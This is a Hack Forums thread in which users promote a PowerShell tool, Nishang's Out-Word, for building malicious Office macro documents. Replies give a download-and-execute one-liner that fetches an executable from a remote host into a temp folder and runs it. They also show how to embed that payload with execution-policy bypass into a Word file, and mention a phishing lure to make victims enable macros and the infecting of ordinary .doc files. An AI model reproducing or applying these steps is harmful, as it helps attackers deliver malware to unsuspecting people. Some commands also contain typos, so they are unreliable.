+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Hacking Tools and Programs (https://hackforums.net/forumdisplay.php?fid=10)
+---- Thread: Open Source Office Macro Builder -- Nishang Out-Word (/showthread.php?tid=5493230)
Open Source Office Macro Builder -- Nishang Out-Word - Unit 61398 - Dec 13, 2016
Stop Paying for Macro builders, when you could get it for free and open source.
Part of Nishang, a framework of powershell tools for pen testing.
Doc Macro builder: https://github.com/samratashok/nishang/blob/master/Client/Out-Word.ps1
Powershell command to download to temp folder and run:
(New-Object System.Net.WebClient).DownloadFile('http://www.example.com/example.exe','C:\windows\temp\example.exe');&'C:\windows\temp\example.exe'
* - kauf - Dec 14, 2016
more explanation on how this can be used. just a .ps1 on github
* - Unit 61398 - Dec 14, 2016
Download the file then open a powershell terminal cd into the download folder and "include" the file by running
. .\Out-Word.ps1
Then you can run it with any parameters by
Out-File -Paylod "powershell.exe -noni -exec bypass -nop (New-Object System.Net.WebClient).DownloadFile('http://www.example.com/example.exe','C:\windows\temp\example.exe');&'C:\windows\temp\example.exe' -OurputFile test.doc
It includes a simple phishing page to get the user to enable macros, but you would want to replace this with something more bettee
Here is a decent guide: http://www.labofapenetrationtester.com/2014_11_01_archive.html
It can also "infect" regular .docs and can be executed client side to spread the virus
* - CichyCichoCiemny - Dec 14, 2016
Looks cool.